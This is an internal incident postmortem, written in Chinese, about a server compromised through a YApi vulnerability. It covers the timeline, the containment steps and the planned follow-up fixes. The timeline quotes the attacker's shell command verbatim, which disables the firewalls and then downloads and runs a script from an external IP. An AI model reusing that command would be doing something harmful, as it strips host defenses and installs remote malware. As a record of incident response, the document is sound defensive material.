故障还原

20220607下午2:44收到腾讯云安全告警,疑似服务器被入侵。

责任人 腾讯云运维-单
故障等级 P4
故障状态 已定级
故障简述 因Yapi存在安全漏洞,被黑客直接植入木马。通过yapi权限直接执行,导致服务器下载了大量的木马
发现方式 腾讯云安全告警
故障发现时间 image.png
故障发生时间 202206071444
故障恢复时间 202206071500
故障影响时长 20分钟内

业务影响

不影响业务

处理过程

处理过程推荐按照时间以列表形式,将处理过程时间点,处理内容,阶段性结果描述清楚。

关键时间点 时间 动作 备注
【故障开始】 202206071444 通过告警发现黑客植入的命令如下:
/bin/sh -c cd /usr/bin;systemctl disable firewalld;chkconfig iptables off;ufw disable;curl -O http://104.244.74.234:808/download.sh;wget http://104.244.74.234:808/download.sh;chmod 777 download.sh;./download.sh

【紧急处置】 202206071445 手动删除黑客植入的木马程序
image.png
【木马类型分析】 202206071445 image.png
image.png
【紧急采取策略】 关闭对外服务端口 image.png
拉黑攻击者IP、拉黑下载木马的服务器IP image.png
关闭服务器互联网访问请求 image.png
【溯源分析】 攻击源头分析 image.png
攻击路径分析 image.png
攻击报文分析 image.png
【处置方案】 升级yapi,并迁移至内网,不再提供互联网访问 image.png

故障原因

产品需求

  • 不涉及

研发阶段

  • 不涉及

测试环节

  • 不涉及

发布流程

  • 不涉及

应急处理

  • 30分钟内完成,处置流程
  1. 杀木马
  2. 关服务
  3. 限访问

故障总结

在业务的日常变更中,是否遵守了安全原则,技术架构是否合理,等等。

  • 进一步优化了应急响应处置流程

    做得好的

    本次故障发生后,第一时间消除了影响,同时咨询安全服务技术人员看是否有其他影响,当时安全服务人员给出的建议是重装系统。高级运维关YT得知后,通过内存马查杀、linux自检等各种手段,成功的再次把服务器中隐藏的内存马杀掉了(内存极难清理,安全服务人员一般都是重装系统,无法找到并清除内存马)

做得不好的

验证了我方还不能任意修改第三方程序的代码漏洞。

后续改进

复盘后需要进行的后续操作,应指定负责人。

行动 类型 负责人 优先级

- [ ] 医院生产的应用必须和公司自用的应用分离(目前仍有部分医院未分离)
必整改项目 需项目推动 P4

- [ ] 重要系统具备自动清除木马的能力
自动杀马 运维 P2